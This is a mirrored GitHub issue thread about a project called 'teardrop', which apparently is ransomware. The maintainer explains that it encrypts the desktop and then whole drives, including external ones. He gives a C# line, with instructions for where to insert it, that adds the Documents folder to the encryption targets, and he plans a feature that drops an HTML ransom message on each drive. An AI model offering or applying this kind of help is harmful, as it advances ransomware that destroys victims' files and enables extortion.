Giter Site home page Giter Site logo

Comments (2)

Abraham313 avatar Abraham313 commented on June 16, 2024 1

I have got it.Thanks for the nice explanation.

from teardrop.

hackthedev avatar hackthedev commented on June 16, 2024

Hello @Abraham313

It is encrypting the entire HDD and even external hard drives (at least it was designed to do so). I tried to "prioritise" encrypting the Desktop fist, then the entire HDD because it can take a lot of time until the complete drive is encrypted.

You might tried it in a VM and only saw that the desktop was encrypted right? Afterwards it should start encrypting the hole drive. You might just not notice it because it works its path from the root directory to all sub directories.


i.e.:

C:\
C:\Programs\
C:\Programs\AppName
...
...
C:\Users\User\Documents
...

So it would take some time to get there. As you can see here (Line 182), it tries to get all files from the Desktop first. If you want to encrypt Documents folder afterwards too, you can add this line as example (code untested). It is important that you add those files to the array desktopFiles before the foreach loop that is following (this loop).

desktopFiles += Directory.GetFiles(Environment.GetFolderPath(Environment.SpecialFolder.Documents), "*.*", SearchOption.AllDirectories);

If you need any help just connect me again or create a new issue 😄


About .html message

I will add a feature that can be enabled with a bool that will create an html file on each drive containing a predefined message that can be changed 👍🏻

from teardrop.

Related Issues (8)

Recommend Projects

  • React photo React

    A declarative, efficient, and flexible JavaScript library for building user interfaces.

  • Vue.js photo Vue.js

    🖖 Vue.js is a progressive, incrementally-adoptable JavaScript framework for building UI on the web.

  • Typescript photo Typescript

    TypeScript is a superset of JavaScript that compiles to clean JavaScript output.

  • TensorFlow photo TensorFlow

    An Open Source Machine Learning Framework for Everyone

  • Django photo Django

    The Web framework for perfectionists with deadlines.

  • D3 photo D3

    Bring data to life with SVG, Canvas and HTML. 📊📈🎉

Recommend Topics

  • javascript

    JavaScript (JS) is a lightweight interpreted programming language with first-class functions.

  • web

    Some thing interesting about web. New door for the world.

  • server

    A server is a program made to process requests and deliver data to clients.

  • Machine learning

    Machine learning is a way of modeling and interpreting data that allows a piece of software to respond intelligently.

  • Game

    Some thing interesting about game, make everyone happy.

Recommend Org

  • Facebook photo Facebook

    We are working to build community through open source technology. NB: members must have two-factor auth.

  • Microsoft photo Microsoft

    Open source projects and samples from Microsoft.

  • Google photo Google

    Google ❤️ Open Source for everyone.

  • D3 photo D3

    Data-Driven Documents codes.